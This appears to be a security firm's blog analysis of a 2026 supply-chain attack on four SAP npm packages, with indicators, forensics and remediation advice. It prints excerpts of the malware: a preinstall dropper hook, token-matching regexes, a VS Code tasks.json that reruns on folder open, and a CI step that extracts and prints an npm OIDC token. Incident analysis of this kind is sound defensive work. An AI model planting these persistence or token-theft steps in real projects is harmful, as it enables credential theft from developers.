---
title: "Mini Shai Hulud and SAP Compromise"
description: "Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated maintainers, pointing to a publisher account compromise."
url: "https://safedep.io/blog/mini-shai-hulud-and-sap-compromise"
author: "SafeDep Team"
published: "2026-04-29"
---

# Mini Shai Hulud and SAP Compromise

On April 29, 2026, a GitHub search for **"A Mini Shai-Hulud has Appeared"** returned over 1,000 repositories. Each was a developer's own repo, recently poisoned by a credential-stealing payload bundled in four malicious SAP npm packages. The name is the attacker's description string, committed to every repository the payload reached.

## TL;DR

Four npm packages used by SAP CAP (Cloud Application Programming Model) and MTA build tooling were published on April 29, 2026 with a malicious `preinstall` hook: `@cap-js/sqlite@2.2.2`, `@cap-js/postgres@2.2.2`, `@cap-js/db-service@2.10.1`, and `mbt@1.2.48`. Each adds two files not present in previous versions: `setup.mjs` (a Bun runtime dropper) and `execution.js` (an 11MB obfuscated credential-stealing payload). All four share the same SAP-affiliated npm maintainers, indicating publisher account compromise.

**Impact:**

- Steals GitHub OAuth/PAT tokens (`gho_`, `ghp_`), npm automation tokens, AWS access keys, and Azure/GCP credentials from the developer environment
- In GitHub Actions environments, uses stolen `workflow`-scoped tokens to commit malicious files to the victim's own repositories
- Committed payload includes a VS Code `tasks.json` that re-triggers the attack on repository open, establishing persistent CI/CD foothold

**Indicators of Compromise (IoC):**

- `@cap-js/sqlite@2.2.2`
- `@cap-js/postgres@2.2.2`
- `@cap-js/db-service@2.10.1`
- `mbt@1.2.48`
- Files `setup.mjs` and `execution.js` present in any of these packages
- Unexpected `tasks.json` at `.vscode/tasks.json` or `.claude/` paths in repositories
- Bun process spawned from a temp directory during npm install

## Analysis

### Package Overview

`@cap-js/db-service`, `@cap-js/sqlite`, and `@cap-js/postgres` are core components of [SAP's Cloud Application Programming Model](https://cap.cloud.sap). Together they pull over one million installs per month. `mbt` (the [SAP Cloud MTA Build Tool](https://github.com/SAP/cloud-mta-build-tool)) adds another 200K monthly installs. SAP customers run these packages in enterprise CI/CD pipelines across the entire SAP ecosystem.

All three `@cap-js` packages list the same two npm maintainers: `cap-npm` (cap@sap.com) and `sap_extncrepos` (mob.extrepo.stores@sap.com). The `mbt` package uses `shimit` and `cloudmtabot`. Four packages poisoned in a single publish window, across two distinct maintainer sets, points to account-level compromise.

The malicious versions were published within a three-hour window on April 29, 2026. Each is a legitimate version bump containing all original source files, with two additions: `setup.mjs` and `execution.js`.

### Execution Trigger

The attacker modified `package.json` in each package to replace the existing install script with a `preinstall` hook:

```diff
// @cap-js/sqlite: 2.2.1 vs 2.2.2
-   "test": "cds-test"
+   "preinstall": "node setup.mjs"

// mbt: 1.2.47 vs 1.2.48
-   "install": "node install cloud-mta-build-tool",
-   "test": "node ./bin/mbt"
+   "preinstall": "node setup.mjs"
```

`preinstall` fires before package contents are installed, making it the earliest hook available. Any `npm install` touching these packages, whether direct or transitive, triggers the payload.

### Stage One: Bun Runtime Dropper

`setup.mjs` is identical across all four packages (SHA-256 hashes match for postgres and db-service; sqlite and mbt carry the same logic with minor differences). The script:

1. Detects the host platform and architecture
2. Downloads Bun v1.3.13 from `hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/` to a temp directory
3. Extracts the binary using `unzip` or PowerShell
4. Runs `execution.js` using the downloaded Bun binary
5. Deletes the temp directory

The attacker pulls Bun from a legitimate GitHub release URL to avoid triggering network-level blocklists and make the traffic look benign to most egress filters. `setup.mjs` itself contains no malicious logic: the payload lives in `execution.js`.

```javascript
// setup.mjs (identical across all four packages)
const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';

async function main() {
  if (hasCommand('bun')) return; // skip if bun already installed

  const asset = resolveAsset(); // e.g. "bun-linux-x64-baseline"
  const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;

  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'bun-dl-'));
  // ... download, extract, chmod ...
  execFileSync(bunBinary, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });
  fs.rmSync(tmpDir, { recursive: true, force: true }); // cleanup
}
```

The script detects Alpine/musl for CI compatibility and sets a 120-second request timeout for slow runners.

### Stage Two: Credential Harvesting Payload

`execution.js` is a single-line, 11MB obfuscated JavaScript file using hex-variable-name obfuscation (`_0x298c5f`, `_0x3b9e`, etc.) with a shuffled string table and rotation function. It bundles the AWS SDK v3, Azure SDK, GCP client libraries, and the Octokit GitHub client, all obfuscated into the same blob.

The main entry point, `kZh()`, orchestrates collection in three phases:

**Phase 1: CI/CD environment check.** The `bZh()` function inspects `process.env.GITHUB_ACTIONS`. If present, it reads `GITHUB_WORKFLOW_REF` and `GITHUB_REPOSITORY` and activates additional repository-targeting logic.

**Phase 2: Credential collection.** The `dZh()` function runs three scanner instances:

- `Ehf`: Filesystem scanner using Bun's Glob API, matching `gh[op]_[A-Za-z0-9]{36}` and `npm_[A-Za-z0-9]{36,}`
- `whf`: Shell environment scanner
- `w4f`: A third scanner (likely cloud metadata endpoint queries)

The scanners are composited through a streaming dispatcher (`al`) with a 100KB flush threshold, enabling incremental exfiltration for large credential sets.

```javascript
// Extracted from execution.js - credential regex patterns in Nd class
super(_0x30fa21['TPkcV'], _0x30fa21['SYVvi'], {
  npmtoken: /npm_[A-Za-z0-9]{36,}/g,
  ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
});
```

The `ns` class targets AWS credentials using environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`) and reads `~/.aws/credentials`. Strings for Azure Key Vault (`@azure/keyvault-secrets`) and GCP Secret Manager (`No secrets found in GCP Secret Manager`) confirm cloud coverage extends to all three major providers.

**Phase 3: Repository poisoning.** For any GitHub token with `workflow` scope, `kZh()` instantiates the `CA` class:

```javascript
// From execution.js (verbatim, tail section) - ghs_jwt token handling
if (_0x37d7ee[_0x1a0270(0xae5f)]?.['ghs_jwt']) {
  for (let _0x1ec8ef of _0x37d7ee['matches'][_0x1a0270(0x33e2)]) await new CA(_0x1ec8ef)[_0x1a0270(0xb394)](); // 0xb394 resolves to execute/run method
}
```

The `CA` class reads `process.env.GITHUB_REPOSITORY` to determine the target owner and repo, then fetches up to 50 branches and commits malicious files to eligible ones. The payload committed to victim repositories includes a VS Code `tasks.json` that re-executes the dropper when the project is opened:

```json
// Embedded in execution.js as gzip+base64 - committed to victim repos
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "Environment Setup",
      "type": "shell",
      "command": "node .claude/setup.mjs",
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}
```

This establishes persistence: any developer who clones and opens the compromised repository in VS Code will trigger the dropper again.

The repository poisoning left a visible trail on GitHub. Every victim repo received the same description string, making the scope of the attack searchable in real time:

![GitHub search results showing over 1,000 victim repositories described "A Mini Shai-Hulud has Appeared", poisoned by execution.js within hours of the malicious packages going live](https://safedep.io/_next/static/immutable/media/mini-shai-hulud-github.2p6-3db26mbyx.png)

_GitHub search for "A Mini Shai-Hulud has Appeared" returning 1,000+ poisoned repositories, all updated within hours of the attack._

### Data Exfiltration

The `E4f` base class handles exfiltration using layered encryption: stolen credentials are serialized to JSON, encrypted with AES-256-GCM using a random 256-bit key, and that key is then RSA-OAEP encrypted against the attacker's public key. The `E4f` class sends the encrypted envelope over HTTPS to a C2 endpoint, with the hostname buried in the obfuscated string table.

```javascript
// E4f.encrypt() - deobfuscated from execution.js (literal strings confirmed in source)
const aesKey = randomBytes(0x20); // 32 bytes
const iv = randomBytes(0xc); // 12 bytes
const cipher = createCipheriv('aes-256-gcm', aesKey, iv);
const ciphertext = Buffer.concat([cipher.update(payload), cipher.final(), cipher.getAuthTag()]);

// AES key wrapped with attacker's RSA public key (r8f, from obfuscated string table)
const wrappedKey = publicEncrypt({ key: r8f, padding: constants.RSA_PKCS1_OAEP_PADDING, oaepHash: 'sha256' }, aesKey);
```

The `Fc` exfiltration class also uses the victim's own GitHub token to read account information and validate the token before exfiltrating, reducing noise from invalid credentials.

### Obfuscation Techniques

The obfuscation matches [javascript-obfuscator](https://obfuscator.io/) at high-protection mode: hex variable names, string array with index offsets, array rotation at load time, and dead code injection. The string array contains over 50,000 entries for the full 11MB bundle. The array stores literals like `'Found ghs token!'` and `'No secrets found in GCP Secret Manager'` and pulls them at runtime, making static string search ineffective.

The `__decodeScrambled` function handles an additional encoding layer for certain strings (observable in 230+ call sites in the `mbt` variant), using what appears to be a XOR or substitution cipher over a base64 alphabet.

## Root Cause Analysis

### What GitHub Forensics Revealed

**Neither file exists on GitHub.** `setup.mjs` and `execution.js` appear nowhere in `cap-js/cds-dbs` or `SAP/cloud-mta-build-tool`. No corresponding git commits or release tags exist for `v2.2.2` or `v2.10.1`. The latest GitHub release on `cds-dbs` is `sqlite-v2.2.1` from April 23.

```bash
curl -s "https://api.github.com/repos/cap-js/cds-dbs/contents/sqlite/setup.mjs" | jq .message
# "Not Found"
```

**No SLSA provenance on the malicious versions.** The legitimate `@cap-js/sqlite@2.2.1` carries two npm attestations: an npm publish attestation and an SLSA provenance statement generated by the `--provenance` flag in the CI workflow. The malicious `2.2.2` has zero attestations. The packages were published directly to npm, bypassing the CI/CD pipeline.

```bash
# Legitimate 2.2.1: 2 attestations
curl -s "https://registry.npmjs.org/-/npm/v1/attestations/@cap-js/sqlite@2.2.1" | jq '.attestations | length'
# 2

# Malicious 2.2.2: 0 attestations
curl -s "https://registry.npmjs.org/-/npm/v1/attestations/@cap-js/sqlite@2.2.2" | jq '.attestations | length'
# 0
```

**A cancelled workflow run with a fake author.** The `release-please` workflow in `cap-js/cds-dbs` shows exactly one run on April 29, 2026:

```
id: 25108178873
event: push
branch: update/releases
actor: RoshniNaveenaS
status: cancelled
created_at: 2026-04-29T12:13:48Z
```

ClickHouse data shows `RoshniNaveenaS` contributing across `cap-js/attachments`, `cap-js/incidents-app`, and `cap-js/sdm` since 2025, a legitimate SAP developer whose GitHub account was compromised.

The commit that triggered this run (`4ae7eb0cd583`) was authored as `claude` with the email `claude@users.noreply.github.com` (GitHub verified signature status: false). It changed two files: `.github/workflows/release-please.yml` and `execution.js`, the same 11MB obfuscated credential stealer bundled in the malicious npm packages.

### The Workflow Modification

The attacker pushed a chain of commits to the `update/releases` branch. The critical state was in the merge commit (`963f7e39916d`) that preceded the final push. The `release-please.yml` workflow was modified in two ways:

**Branch trigger changed:**

```diff
-    branches:
-      - main
+    branches:
+      - update/releases
```

This caused the workflow to fire on the `update/releases` branch push, making the `environment: npm` OIDC trusted publishing configuration accessible from a non-main branch.

**npm publish steps replaced with an OIDC token exchange:**

```diff
       ## debug info
-      # - run: node config.mjs
-      - run: |
-          OIDC_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
-            "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=npm:registry.npmjs.org" | jq -r .value)
-          NPM_TOKEN=$(curl -s -X POST \
-            https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/%40cap-js%2Fsqlite \
-            -H "Content-Type: application/json" \
-            -H "Authorization: Bearer $OIDC_TOKEN" \
-            -d "{\"oidcToken\":\"$OIDC_TOKEN\"}" | jq -r .token)
-          echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
+      - run: node config.mjs
```

This step exchanges a GitHub Actions OIDC JWT for an npm granular access token scoped to `@cap-js/sqlite` and prints it double-base64-encoded in the workflow output. Anyone with read access to the repository logs could decode it:

```bash
echo "DOUBLE_B64_FROM_LOG" | base64 -d | base64 -d
```

The final commit in the chain (`4ae7eb0cd583`) changed `contents: write` to `contents: read` and replaced the OIDC exchange step with `node config.mjs`, adding `execution.js` alongside it. This was the state of the workflow when the actual CI run triggered.

Commit [`0a3dd44`](https://github.com/cap-js/cds-dbs/commit/0a3dd44d361c34cd9036eeb3f49601160a636648) shows `config.mjs` (the Bun dropper) and `execution.js` pushed directly to the `cap-js/cds-dbs` repository. The `execution.js` diff is too large for GitHub to render — the 11MB payload committed to a legitimate SAP repo:

![GitHub commit diff showing config.mjs (Bun dropper) and execution.js committed to cap-js/cds-dbs](https://safedep.io/_next/static/immutable/media/mini-shai-hulud-compromised-commits.2fng8_ljmyvi_.png)

### Attack Timeline

| Time (UTC) | Event                                                                  |
| ---------- | ---------------------------------------------------------------------- |
| 09:55:25   | `mbt@1.2.48` published (maintainer: `cloudmtabot`)                     |
| 11:25:47   | `@cap-js/sqlite@2.2.2` published (maintainer: `cap-npm`)               |
| 12:13:48   | Workflow run triggered from `update/releases` push by `RoshniNaveenaS` |
| 12:14:00   | `@cap-js/postgres@2.2.2` and `@cap-js/db-service@2.10.1` published     |
| ~12:14     | Workflow cancelled; `update/releases` force-reverted to `9228adc2`     |

`@cap-js/sqlite@2.2.2` was published at 11:25, 48 minutes before the GitHub push at 12:13. The attacker already had npm credentials before the GitHub workflow attack. The modified workflow was either used in an earlier undetected run, or the credentials came from a separate prior vector.

### mbt Was Published Separately

The `mbt` package uses a different maintainer set: `shimit` and `cloudmtabot`. The `SAP/cloud-mta-build-tool` repository shows no suspicious commits or workflow activity on April 29. `mbt` has never used `--provenance` in its publish workflow (all 1.2.x versions have zero attestations). The `cloudmtabot` automation token, stored as a static GitHub Actions secret, was the likely target. Available evidence doesn't confirm the specific theft mechanism.

### How the Token Exchange Attack Works

The `cds-dbs` team migrated to npm OIDC trusted publishing in November 2025. Under this setup, GitHub Actions can request a short-lived npm token without storing any long-lived secrets in the repository:

```bash
# What the legitimate publish workflow does (via actions/setup-node)
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=npm:registry.npmjs.org" | jq -r .value)
# token is exchanged internally by npm CLI, never printed
npm publish --provenance
```

The attacker reproduced this exchange manually in a CI step and printed the resulting token. The critical configuration gap: npm's OIDC trusted publisher configuration for `@cap-js/sqlite` trusted any workflow in `cap-js/cds-dbs`, not just the canonical `release-please.yml` on `main`. A branch push could exchange an OIDC token on behalf of the package if the workflow had `id-token: write` permission and the `environment: npm` reference.

### Confirmed Attack Vectors and Root Cause

**For `@cap-js/sqlite`, `@cap-js/postgres`, `@cap-js/db-service`:** The attacker compromised `RoshniNaveenaS`'s account, pushed a modified workflow to a non-main branch, and used the extracted npm OIDC token to publish the malicious packages without provenance.

**For `mbt`:** The specific token theft mechanism is unconfirmed. Someone compromised the `cloudmtabot` static npm token through a channel not visible in public repository data.

The OIDC trusted publishing configuration trusted the `cap-js/cds-dbs` repository broadly, not a specific workflow file or branch. Specifying the exact workflow filename in the registry trusted publisher configuration, combined with deployment environment protection rules requiring human approval, would have blocked this attack path:

```yaml
# Hardened npm trusted publisher configuration:
# Repository: cap-js/cds-dbs
# Workflow: .github/workflows/release-please.yml
# Environment: npm
```

The account compromise points to a prior stage of credential theft. The `execution.js` payload scans for GitHub tokens using `/gh[op]_[A-Za-z0-9]{36}/g`, the same class of token that enabled the repository push. Stolen npm credentials publish a package that steals GitHub tokens, which enable the next npm credential theft. The loop runs through every SAP developer environment the payload touches.

## Conclusion

The attacker chose a high-value target: enterprise CI/CD pipelines running with `GITHUB_TOKEN` scopes broad enough to write to repositories. The two-stage design (Bun dropper plus obfuscated bundled payload) keeps the malicious artifact out of Node.js's standard module resolution and eliminates dependency-graph evidence. Reviewers who audit source files but skip `.vscode/` configuration will miss the VS Code tasks persistence mechanism.

The root cause for the `@cap-js` packages: a compromised developer account and an OIDC trusted publishing configuration that trusted the `cap-js/cds-dbs` repository broadly instead of a specific workflow on a protected branch.

If your project depends on any of the four affected packages and was installed on or after April 29, 2026, rotate all GitHub tokens, npm tokens, and cloud credentials immediately. Audit recent commits to your repositories for unexpected `tasks.json` additions in `.vscode/` or `.claude/` directories.

## References

- [SAP Cloud Application Programming Model](https://cap.cloud.sap)
- [SAP Cloud MTA Build Tool on GitHub](https://github.com/SAP/cloud-mta-build-tool)
- [npm trusted publishing documentation](https://docs.npmjs.com/trusted-publishers)
- [GitHub deployment environments protection](https://docs.github.com/en/actions/deployment/targeting-different-environments/using-environments-for-deployment)
- [Compromised commit: `0a3dd44`](https://github.com/cap-js/cds-dbs/commit/0a3dd44d361c34cd9036eeb3f49601160a636648)
- [npm advisory database](https://github.com/advisories)
